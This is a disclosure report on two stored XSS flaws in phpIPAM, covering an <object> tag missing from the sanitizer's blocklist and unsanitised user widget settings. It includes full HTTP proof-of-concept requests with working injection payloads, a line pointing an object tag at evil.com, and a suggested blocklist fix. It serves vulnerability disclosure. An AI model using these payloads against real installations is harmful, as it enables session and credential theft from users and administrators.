Two Stored XSS in Instructions and User Widget in phpipam/phpipam
Reported on
Feb 12th 2023
Stored XSS 1
Description 1
The santinizer founction noxss_html($html)
can be bypassed since it missed to ban the tag of <object>
in $banned_elements = ['script', 'iframe', 'embed'];
. By this missing, the logged admin can maliciously inject xss payloads like <object data="javascript:alert(1)">
in the backend database using the point POST /app/admin/instructions/edit-result.php
with parameters instructions=<object data="javascript:alert(1)">
, and consequently the other users or admins who view the instructions may execute the injected scripts without their consents. Note that, the <object data="javascript:alert(1)">
can now only be executed in the firefox browser, and for the chrome and IE Edge, the attackers should inject the code using third party links like <object data="http://evil.com/attack.html">
Proof of Concept 1
POST /app/admin/instructions/edit-result.php HTTP/1.1
Host: 192.168.232.128
Content-Length: 136
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.232.128
Referer: http://192.168.232.128/index.php?page=administration§ion=instructions
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: table-page-size=50; scantype=scan-icmp; phpipam=6s5iofugf1hvnlgju2pdetg34r
Connection: close
instructions=<object data="javascript:alert(1)">&csrf_cookie=bNf8M4rOVnijA0HS6fgSH7l250t6ZgqP&id=1
When the other users open the instruction page in firefox (our firefox version is 103.0.1 64-bit), the malicious code can be executed as the figure shown below:
Stored XSS 2
Description 2
The normal user can update their widget settings by the function $User->self_update_widgets ($_POST['widgets'])
, in which the $_POST['widgets']
has not been sanitized to remove XSS tags and characters before stored in the backend database in the users
table. As a result, the users can inject malicious javascript codes such as <script>alert(1)</script>
using the HTTP POST point POST /app/tools/user-menu/user-widgets-set.php
with the parameters widgets=statistics%3Bfavourite_subnets%3Bchangelog%3Btop10_hosts_v4'><script>alert(1)</script><a id='
. By this injection, any administrators who open the users’ Widgets Tab (by the function of swap user) can directly execute the malicious JS code without their consents.
Proof of Concept 2
The malicious normal user inject XSS codes using the following HTTP POST
POST /app/tools/user-menu/user-widgets-set.php HTTP/1.1
Host: 192.168.232.128
Content-Length: 118
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.232.128
Referer: http://192.168.232.128/index.php?page=tools§ion=user-menu&subnetId=widgets
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: table-page-size=50; scantype=scan-icmp; phpipam=c4uobv27uo0kafn2227o02j2t1
Connection: close
widgets=statistics%3Bfavourite_subnets%3Bchangelog%3Btop10_hosts_v4'><script>alert(1)</script><a id='&csrf_cookie=PYfemqL-7f7XidsaXdiEQKt0OPa6efHS
The victim admin swap the malicious normal user and being attacked by viewing his/her Widgets Tab
Impact
#Impact 1: The first XSS in Instructions allows malicious admin inject XSS payloads into the backend database, and then attack the logged users or other admins by maliciously run unintened JS codes without their consents. Depite the phpipam allows the admin to edit registered users even including changing their passwords, but that dose not mean the admin can force all the users to run any JS code in their browsers without their consents. For example, the admin inject malicious JS code to run in an infinitely loop and thus make the victim's browser hang, or navigate the victims to phishing websites, or even worse drive the victims to download some kind of JS malwares to further enlarge the impacts etc..
#Impact 2: The second XSS in User Widget is possible exploited by the malicious normal users to attack the privileged administrators (e.g., stealing the admin credentials, force admin to execute arbitrary JS codes etc..), because the administrators can swap as any normal users and view the users’ (malicious) Widgets Tab with the administrators' credentials.
Occurrences
class.Common.php L677
$banned_elements = ['script', 'iframe', 'embed'];
this line of code should be modified to add at least the 'object'
tag:
$banned_elements = ['script', 'iframe', 'embed', 'object'];
I also suggest the maintainers can refer to the latest XSS cheet (e.g., https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) to see whether there are any additional missing in this kind of balck list. If fine, I think using the idea of white list is much better than the use of black list.